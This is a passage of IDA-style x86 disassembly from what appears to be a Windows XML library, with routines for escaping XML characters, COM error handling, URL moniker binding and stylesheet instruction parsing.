		call	SysFreeString


loc_69B831E0:				; CODE XREF: sub_69B830D0+105j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B830D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B831E9	proc near		; CODE XREF: sub_69B83E6C+29Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		call	sub_69B821E5
		test	eax, eax
		jz	locret_69B8328F
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		and	[ebp+arg_0], 0
		cmp	dword ptr [edi+14h], 0
		mov	esi, eax
		jbe	short loc_69B8328D
		push	ebx


loc_69B83212:				; CODE XREF: sub_69B831E9+8Fj
		movzx	ecx, word ptr [esi]
		sub	ecx, 22h
		jz	short loc_69B8323D
		sub	ecx, 4
		jz	short loc_69B83236
		sub	ecx, 16h
		jz	short loc_69B8322F
		dec	ecx
		dec	ecx
		jnz	short loc_69B8326D
		mov	ebx, offset aGt_1 ; ">"
		jmp	short loc_69B83242
; ---------------------------------------------------------------------------


loc_69B8322F:				; CODE XREF: sub_69B831E9+39j
		mov	ebx, offset aLt_1 ; "<"
		jmp	short loc_69B83242
; ---------------------------------------------------------------------------


loc_69B83236:				; CODE XREF: sub_69B831E9+34j
		mov	ebx, offset aAmp_0 ; "&"
		jmp	short loc_69B83242
; ---------------------------------------------------------------------------


loc_69B8323D:				; CODE XREF: sub_69B831E9+2Fj
		mov	ebx, offset aQuot_0 ; """


loc_69B83242:				; CODE XREF: sub_69B831E9+44j
					; sub_69B831E9+4Bj ...
		cmp	eax, esi
		jz	short loc_69B83256
		mov	ecx, esi
		sub	ecx, eax
		sar	ecx, 1
		push	ecx
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8283E


loc_69B83256:				; CODE XREF: sub_69B831E9+5Bj
		mov	ecx, [ebp+var_4]
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B8326A
		push	0		; int
		push	ebx		; lpString
		call	sub_69B82200


loc_69B8326A:				; CODE XREF: sub_69B831E9+77j
		lea	eax, [esi+2]


loc_69B8326D:				; CODE XREF: sub_69B831E9+3Dj
		inc	[ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		inc	esi
		inc	esi
		cmp	ecx, [edi+14h]
		jb	short loc_69B83212
		cmp	eax, esi
		pop	ebx
		jz	short loc_69B8328D
		mov	ecx, [ebp+var_4]
		sub	esi, eax
		sar	esi, 1
		push	esi
		push	eax
		call	sub_69B8283E


loc_69B8328D:				; CODE XREF: sub_69B831E9+26j
					; sub_69B831E9+94j
		pop	edi
		pop	esi

locret_69B8328F:			; CODE XREF: sub_69B831E9+Ej
		leave
		retn	4
sub_69B831E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B83293	proc near		; CODE XREF: sub_69B83717+A1p
					; sub_69B83E6C+D1p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+14h]
		test	edx, edx
		jz	short locret_69B832A7
		push	edx
		push	dword ptr [eax+10h]
		call	sub_69B8283E

locret_69B832A7:			; CODE XREF: sub_69B83293+9j
		retn	4
sub_69B83293	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B832AA	proc near		; CODE XREF: sub_69B837DF+134p
		push	24h
		push	offset dword_69B83370
		call	sub_69B19C5C
		mov	esi, ecx
		xor	edi, edi
		mov	[ebp-1Ch], edi
		call	dword_69B92948
		mov	[ebp-20h], eax
		cmp	eax, edi
		jnz	short loc_69B832D4
		mov	eax, 80004005h
		jmp	loc_69B83368
; ---------------------------------------------------------------------------


loc_69B832D4:				; CODE XREF: sub_69B832AA+1Ej
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		lea	eax, [ebp-1Ch]
		push	eax		; pperrinfo
		push	edi		; dwReserved
		call	GetErrorInfo
		test	eax, eax
		jnz	short loc_69B83308
		mov	eax, [ebp-1Ch]
		cmp	eax, edi
		jz	short loc_69B83308
		mov	ecx, [eax]
		lea	edx, [esi+84h]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jz	short loc_69B83310


loc_69B83308:				; CODE XREF: sub_69B832AA+44j
					; sub_69B832AA+4Bj
		push	dword ptr [ebp+8]
		call	sub_69B1D411


loc_69B83310:				; CODE XREF: sub_69B832AA+5Cj
		mov	[ebp-30h], eax
		cmp	eax, edi
		jz	short loc_69B8332D
		mov	ecx, [eax+0Ch]
		mov	[ebp-34h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi+84h], eax


loc_69B8332D:				; CODE XREF: sub_69B832AA+6Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B83345
; ---------------------------------------------------------------------------


loc_69B83333:				; DATA XREF: .text:69B83374o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8333C:				; DATA XREF: .text:69B83378o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi


loc_69B83345:				; CODE XREF: sub_69B832AA+87j
		mov	eax, [ebp-1Ch]
		cmp	eax, edi
		jz	short loc_69B83352
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B83352:				; CODE XREF: sub_69B832AA+A0j
		mov	[ebp-1Ch], edi
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		xor	eax, eax


loc_69B83368:				; CODE XREF: sub_69B832AA+25j
		call	sub_69B1853C
		retn	4
sub_69B832AA	endp

; ---------------------------------------------------------------------------
dword_69B83370	dd 0FFFFFFFFh			dd offset loc_69B83333
		dd offset loc_69B8333C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8337C	proc near		; CODE XREF: sub_69B83AAA+239p

var_14		= dword	ptr -14h
ppBSCBPrev	= dword	ptr -10h
ppmk		= dword	ptr -0Ch
pBSCb		= dword	ptr -8
pBC		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+ppmk]
		mov	edi, ecx
		push	eax		; ppmk
		push	dword ptr [edi+5Ch] ; szURL
		xor	esi, esi
		push	dword ptr [edi+3Ch] ; pMkCtx
		mov	[ebp+ppmk], esi
		mov	[ebp+var_14], esi
		mov	[ebp+pBC], esi
		mov	[ebp+ppBSCBPrev], esi
		mov	[ebp+pBSCb], esi
		call	CreateURLMoniker
		mov	ebx, eax
		cmp	ebx, esi
		jl	loc_69B8347A
		cmp	[ebp+ppmk], esi
		jnz	short loc_69B833C0
		mov	ebx, 80004003h
		jmp	loc_69B8347A
; ---------------------------------------------------------------------------


loc_69B833C0:				; CODE XREF: sub_69B8337C+38j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	0
		push	esi
		call	dword ptr [eax+110h]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B83478
		mov	eax, [esi]
		push	0FFFFFFFFh
		push	esi
		call	dword ptr [eax+118h]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B83478
		mov	eax, [esi]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	offset dword_69B2AFA0
		push	esi
		call	dword ptr [eax]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B83478
		lea	eax, [ebp+pBC]
		push	eax		; ppbc
		push	0		; reserved
		call	ds:CreateBindCtx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B83478
		push	7Ch
		call	sub_69B11E44
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_69B8343E
		push	[ebp+arg_4]
		lea	ecx, [edi+90h]
		push	edi
		push	ecx
		add	edi, 8Ch
		push	edi
		mov	ecx, eax
		call	sub_69B16B18
		mov	[ebp+pBSCb], eax
		jmp	short loc_69B83441
; ---------------------------------------------------------------------------


loc_69B8343E:				; CODE XREF: sub_69B8337C+A2j
		mov	[ebp+pBSCb], esi


loc_69B83441:				; CODE XREF: sub_69B8337C+C0j
		cmp	[ebp+pBSCb], esi
		jnz	short loc_69B8344D
		mov	ebx, 8007000Eh
		jmp	short loc_69B83478
; ---------------------------------------------------------------------------


loc_69B8344D:				; CODE XREF: sub_69B8337C+C8j
		push	esi		; dwReserved
		lea	eax, [ebp+ppBSCBPrev]
		push	eax		; ppBSCBPrev
		push	[ebp+pBSCb]	; pBSCb
		push	[ebp+pBC]	; pBC
		call	RegisterBindStatusCallback
		mov	ebx, eax
		cmp	ebx, esi
		jl	short loc_69B83478
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	0
		push	[ebp+pBC]
		push	[ebp+ppmk]
		push	1
		push	eax
		call	dword ptr [ecx+14h]
		mov	ebx, eax


loc_69B83478:				; CODE XREF: sub_69B8337C+56j
					; sub_69B8337C+6Bj ...
		xor	esi, esi


loc_69B8347A:				; CODE XREF: sub_69B8337C+2Fj
					; sub_69B8337C+3Fj
		mov	eax, [ebp+pBC]
		cmp	eax, esi
		jz	short loc_69B83487
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B83487:				; CODE XREF: sub_69B8337C+103j
		mov	eax, [ebp+ppBSCBPrev]
		cmp	eax, esi
		mov	[ebp+pBC], esi
		jz	short loc_69B83497
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B83497:				; CODE XREF: sub_69B8337C+113j
		mov	eax, [ebp+pBSCb]
		cmp	eax, esi
		mov	[ebp+ppBSCBPrev], esi
		jz	short loc_69B834A7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B834A7:				; CODE XREF: sub_69B8337C+123j
		mov	eax, [ebp+ppmk]
		cmp	eax, esi
		jz	short loc_69B834B4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B834B4:				; CODE XREF: sub_69B8337C+130j
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		mov	[ebp+ppmk], esi
		jz	short loc_69B834C4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B834C4:				; CODE XREF: sub_69B8337C+140j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B8337C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B834CD	proc near		; CODE XREF: sub_69B80756+8Dp
					; sub_69B81652+4Cp ...

var_C		= dword	ptr -0Ch
perrinfo	= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	dword ptr [esi+58h], 2
		mov	[ebp+perrinfo],	ebx
		mov	[ebp+var_4], ebx
		jnz	loc_69B835DD
		cmp	[esi+88h], bl
		jnz	short loc_69B83515
		mov	eax, [esi+48h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+0ECh]
		cmp	[ebp+var_C], 4
		jnz	loc_69B835CF
		mov	byte ptr [esi+88h], 1


loc_69B83515:				; CODE XREF: sub_69B834CD+25j
		cmp	[esi+1Ch], bl
		jnz	short loc_69B83527
		mov	ecx, esi
		call	sub_69B8264F
		mov	edi, eax
		mov	byte ptr [esi+1Ch], 1


loc_69B83527:				; CODE XREF: sub_69B834CD+4Bj
		cmp	[esi+14h], ebx
		jz	short loc_69B83568
		cmp	edi, ebx
		jl	short loc_69B8356C
		mov	eax, [esi+30h]
		mov	byte ptr [eax+1Dh], 1
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax
		cmp	edi, ebx
		jl	short loc_69B83559
		mov	ecx, esi
		call	sub_69B82A4C
		mov	eax, [esi+30h]
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short loc_69B83568
; ---------------------------------------------------------------------------


loc_69B83559:				; CODE XREF: sub_69B834CD+77j
		cmp	edi, 8000000Ah
		jnz	short loc_69B83568
		cmp	[ebp+arg_4], ebx
		jnz	short loc_69B8356C
		xor	edi, edi


loc_69B83568:				; CODE XREF: sub_69B834CD+5Dj
					; sub_69B834CD+8Aj ...
		cmp	edi, ebx
		jge	short loc_69B835CF


loc_69B8356C:				; CODE XREF: sub_69B834CD+61j
					; sub_69B834CD+97j
		lea	eax, [ebp+perrinfo]
		push	eax		; pperrinfo
		push	ebx		; dwReserved
		call	GetErrorInfo
		test	eax, eax
		jnz	short loc_69B835CF
		mov	eax, [ebp+perrinfo]
		cmp	eax, ebx
		jz	short loc_69B835CF
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jnz	short loc_69B835CF
		mov	ecx, [ebp+var_4]
		cmp	ecx, ebx
		jz	short loc_69B835DD
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		mov	byte ptr [esi+50h], 1
		jz	short loc_69B835B5
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+14h]
		push	[ebp+perrinfo]	; perrinfo
		push	ebx		; dwReserved
		call	SetErrorInfo
		jmp	short loc_69B835CF
; ---------------------------------------------------------------------------


loc_69B835B5:				; CODE XREF: sub_69B834CD+D3j
		mov	[esi+84h], ecx
		mov	ecx, esi
		mov	[ebp+var_4], ebx
		call	sub_69B82A4C
		mov	esi, [esi+30h]
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+20h]


loc_69B835CF:				; CODE XREF: sub_69B834CD+3Bj
					; sub_69B834CD+9Dj ...
		cmp	[ebp+var_4], ebx
		jz	short loc_69B835DD
		push	[ebp+var_4]	; BSTR
		call	SysFreeString


loc_69B835DD:				; CODE XREF: sub_69B834CD+19j
					; sub_69B834CD+C8j ...
		mov	eax, [ebp+perrinfo]
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jz	short loc_69B835ED
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B835ED:				; CODE XREF: sub_69B834CD+118j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B834CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B835F6	proc near		; CODE XREF: sub_69B836B7+4Fp
					; sub_69B83717+7Ep

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	dword ptr [ecx+18h]
		mov	edx, [ecx+18h]
		cmp	edx, dword_69B9A9F0
		jb	short locret_69B83613
		push	eax
		push	[esp+4+arg_0]
		mov	[ecx+18h], eax
		call	sub_69B834CD

locret_69B83613:			; CODE XREF: sub_69B835F6+Ej
		retn	4
sub_69B835F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B83616	proc near		; CODE XREF: sub_69B83984+3Ap
		push	esi
		mov	esi, ecx
		call	sub_69B4E24E
		xor	eax, eax
		mov	[esi+14h], eax
		mov	[esi+10h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	dword ptr [esi], offset	off_69B1F6E8
		mov	dword ptr [esi+4], offset off_69B2A840
		mov	eax, esi
		pop	esi
		retn
sub_69B83616	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8363D	proc near		; DATA XREF: .text:off_69B2A840o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B82ABA
		test	[esp+4+arg_0], 1
		jz	short loc_69B83655
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B83655:				; CODE XREF: sub_69B8363D+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B8363D	endp

; ---------------------------------------------------------------------------


loc_69B8365C:				; DATA XREF: .text:off_69B16B98o
		push	esi
		mov	esi, ecx
		call	sub_69B8367B
		test	byte ptr [esp+8], 1
		jz	short loc_69B83674
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B83674:				; CODE XREF: .text:69B83669j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B8367B	proc near		; CODE XREF: .text:69B8365Fp
		push	esi
		mov	esi, ecx
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+70h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B816BB
sub_69B8367B	endp

; ---------------------------------------------------------------------------


loc_69B83698:				; DATA XREF: .text:off_69B2A87Co
		push	esi
		mov	esi, ecx
		call	sub_69B82F37
		test	byte ptr [esp+8], 1
		jz	short loc_69B836B0
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B836B0:				; CODE XREF: .text:69B836A5j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B836B7	proc near		; DATA XREF: .text:69B14764o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	ebx, ebx
		cmp	[esi+2Ch], ebx
		mov	[esi+4Ch], edi
		jz	short loc_69B836D3
		mov	eax, 80004005h
		jmp	short loc_69B83711
; ---------------------------------------------------------------------------


loc_69B836D3:				; CODE XREF: sub_69B836B7+13j
		cmp	[esi+77h], bl
		jz	short loc_69B836ED
		push	[esp+0Ch+arg_8]
		mov	eax, [esi+34h]
		mov	ecx, [eax]
		lea	edx, [esi+10h]
		push	edx
		push	eax
		call	dword ptr [ecx+10h]
		cmp	eax, ebx
		jl	short loc_69B83711


loc_69B836ED:				; CODE XREF: sub_69B836B7+1Fj
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83703
		push	ebx		; int
		push	offset asc_69B270DC ; ">"
		call	sub_69B82200


loc_69B83703:				; CODE XREF: sub_69B836B7+3Fj
		push	edi
		mov	ecx, esi
		call	sub_69B835F6
		mov	[esi+72h], bl
		mov	[esi+71h], bl


loc_69B83711:				; CODE XREF: sub_69B836B7+1Aj
					; sub_69B836B7+34j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B836B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B83717	proc near		; DATA XREF: .text:69B14768o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[esi+2Ch], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+4Ch], eax
		jz	short loc_69B8373A
		mov	eax, 80004005h
		jmp	loc_69B837D9
; ---------------------------------------------------------------------------


loc_69B8373A:				; CODE XREF: sub_69B83717+17j
		cmp	[esi+77h], bl
		jz	short loc_69B83759
		push	[ebp+arg_C]
		mov	eax, [esi+34h]
		push	[ebp+arg_8]
		mov	ecx, [eax]
		lea	edx, [esi+10h]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_69B837D6


loc_69B83759:				; CODE XREF: sub_69B83717+26j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+4]
		cmp	eax, 1
		jz	short loc_69B83773
		cmp	eax, 2
		jbe	short loc_69B837D0
		cmp	eax, 4
		ja	short loc_69B837D0
		mov	[esi+54h], ebx
		jmp	short loc_69B837D0
; ---------------------------------------------------------------------------


loc_69B83773:				; CODE XREF: sub_69B83717+4Bj
		cmp	[ebp+arg_8], ebx
		push	edi
		mov	edi, offset asc_69B270DC ; ">"
		jz	short loc_69B8379D
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B83790
		push	ebx		; int
		push	edi		; lpString
		call	sub_69B82200


loc_69B83790:				; CODE XREF: sub_69B83717+70j
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B835F6
		mov	[ebp+var_4], eax


loc_69B8379D:				; CODE XREF: sub_69B83717+65j
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B837B3
		push	ebx		; int
		push	offset asc_69B2A52C ; "</"
		call	sub_69B82200


loc_69B837B3:				; CODE XREF: sub_69B83717+8Fj
		push	[ebp+arg_C]
		mov	ecx, esi
		call	sub_69B83293
		mov	ecx, esi
		call	sub_69B821E5
		test	eax, eax
		jz	short loc_69B837CF
		push	ebx		; int
		push	edi		; lpString
		call	sub_69B82200


loc_69B837CF:				; CODE XREF: sub_69B83717+AFj
		pop	edi


loc_69B837D0:				; CODE XREF: sub_69B83717+50j
					; sub_69B83717+55j ...
		mov	[esi+72h], bl
		mov	[esi+71h], bl


loc_69B837D6:				; CODE XREF: sub_69B83717+40j
		mov	eax, [ebp+var_4]


loc_69B837D9:				; CODE XREF: sub_69B83717+1Ej
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B83717	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B837DF	proc near		; CODE XREF: sub_69B7FB0F+463p
					; sub_69B83AAA+2C6p ...
		push	38h
		push	offset dword_69B83978
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], ebx
		call	dword_69B92948
		mov	[ebp-30h], eax
		cmp	eax, ebx
		jnz	short loc_69B83815
		mov	eax, 80004005h
		jmp	loc_69B8396A
; ---------------------------------------------------------------------------


loc_69B83815:				; CODE XREF: sub_69B837DF+2Aj
		push	ebx
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B83832
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B82243


loc_69B83832:				; CODE XREF: sub_69B837DF+46j
		mov	eax, [ebp+0Ch]
		cmp	eax, ebx
		jz	loc_69B8390E
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		cmp	[esi+50h], bl
		jnz	loc_69B83908
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-24h]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-2Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-40h]
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		mov	ecx, [esi+44h]
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		test	al, al
		jnz	short loc_69B83899
		mov	ecx, [esi+44h]
		mov	eax, [ecx]
		push	1
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp-24h]
		call	dword ptr [eax+14h]


loc_69B83899:				; CODE XREF: sub_69B837DF+A2j
		mov	eax, [ebp-24h]
		cmp	eax, ebx
		jz	short loc_69B838C9
		cmp	[eax], bx
		jz	short loc_69B838C9
		push	ebx
		push	eax		; lpString
		call	sub_69B1A587
		push	eax
		push	0C00CE582h
		call	sub_69B2F944
		add	esp, 0Ch
		mov	[ebp-44h], eax
		push	eax		; int
		push	dword ptr [ebp-20h] ; lpString
		call	sub_69B82B27
		mov	[ebp-20h], eax


loc_69B838C9:				; CODE XREF: sub_69B837DF+BFj
					; sub_69B837DF+C4j
		cmp	[ebp-2Ch], ebx
		jle	short loc_69B838FD
		push	ebx
		push	dword ptr [ebp-40h]
		call	sub_69B2F0F7
		push	eax
		push	dword ptr [ebp-2Ch]
		call	sub_69B2F0F7
		push	eax
		push	0C00CE401h
		call	sub_69B2F944
		add	esp, 10h
		mov	[ebp-48h], eax
		push	eax		; int
		push	dword ptr [ebp-20h] ; lpString
		call	sub_69B82B27
		mov	[ebp-20h], eax


loc_69B838FD:				; CODE XREF: sub_69B837DF+EDj
		push	dword ptr [ebp+0Ch]
		call	sub_69B82B65
		mov	[ebp-28h], eax


loc_69B83908:				; CODE XREF: sub_69B837DF+6Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B83935
; ---------------------------------------------------------------------------


loc_69B8390E:				; CODE XREF: sub_69B837DF+58j
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B832AA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B83942
; ---------------------------------------------------------------------------


loc_69B8391E:				; DATA XREF: .text:69B8397Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B83927:				; DATA XREF: .text:69B83980o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-20h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B83935:				; CODE XREF: sub_69B837DF+12Dj
		push	dword ptr [ebp-28h]
		push	dword ptr [ebp-20h]
		mov	ecx, esi
		call	sub_69B828E4


loc_69B83942:				; CODE XREF: sub_69B837DF+13Dj
		push	dword ptr [ebp-20h] ; BSTR
		mov	esi, SysFreeString
		call	esi ; SysFreeString
		push	dword ptr [ebp-28h] ; BSTR
		call	esi ; SysFreeString
		push	dword ptr [ebp-24h] ; BSTR
		call	esi ; SysFreeString
		lea	ecx, [ebp-3Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-30h]
		call	dword_69B92944
		xor	eax, eax


loc_69B8396A:				; CODE XREF: sub_69B837DF+31j
		call	sub_69B1853C
		retn	8
sub_69B837DF	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B83978	dd 0FFFFFFFFh			dd offset loc_69B8391E
		dd offset loc_69B83927

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B83984	proc near		; CODE XREF: sub_69B83E6C+1F6p

ppv		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_69B25E84 ; riid
		push	1		; dwClsContext
		xor	edi, edi
		push	edi		; pUnkOuter
		push	offset stru_69B12168 ; rclsid
		mov	ebx, ecx
		mov	[ebp+ppv], edi
		call	ds:CoCreateInstance
		test	eax, eax
		jnz	loc_69B83A80
		push	esi
		push	24h
		call	sub_69B11E44
		cmp	eax, edi
		jz	short loc_69B839C7
		mov	ecx, eax
		call	sub_69B83616
		mov	esi, eax
		jmp	short loc_69B839C9
; ---------------------------------------------------------------------------


loc_69B839C7:				; CODE XREF: sub_69B83984+36j
		xor	esi, esi


loc_69B839C9:				; CODE XREF: sub_69B83984+41j
		cmp	esi, edi
		jz	loc_69B83A72
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	edi
		push	2
		push	offset word_69B26230
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	loc_69B83A72
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	edi
		push	18h
		push	offset aStylesheet ; "<STYLESHEET "
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	short loc_69B83A72
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	edi
		add	edx, edx
		push	edx
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	short loc_69B83A72
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	1
		push	4
		push	offset asc_69B83A88 ; "/>"
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jl	short loc_69B83A72
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jl	short loc_69B83A72
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+60h]
		mov	edi, [esi+1Ch]
		mov	ecx, esi
		call	sub_69B82825
		cmp	edi, 2
		jnz	short loc_69B83A5E
		test	eax, eax
		jz	short loc_69B83A72


loc_69B83A5E:				; CODE XREF: sub_69B83984+D4j
		cmp	dword ptr [esi+20h], 0
		jz	short loc_69B83A6C
		mov	[ebx+60h], edi
		mov	[ebx+64h], eax
		jmp	short loc_69B83A72
; ---------------------------------------------------------------------------


loc_69B83A6C:				; CODE XREF: sub_69B83984+DEj
		mov	[ebx+58h], edi
		mov	[ebx+5Ch], eax


loc_69B83A72:				; CODE XREF: sub_69B83984+47j
					; sub_69B83984+60j ...
		mov	eax, [ebp+ppv]
		test	eax, eax
		pop	esi
		jz	short loc_69B83A80
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B83A80:				; CODE XREF: sub_69B83984+26j
					; sub_69B83984+F4j
		pop	edi
		pop	ebx
		leave
		retn	8
sub_69B83984	endp

; ---------------------------------------------------------------------------
		align 4
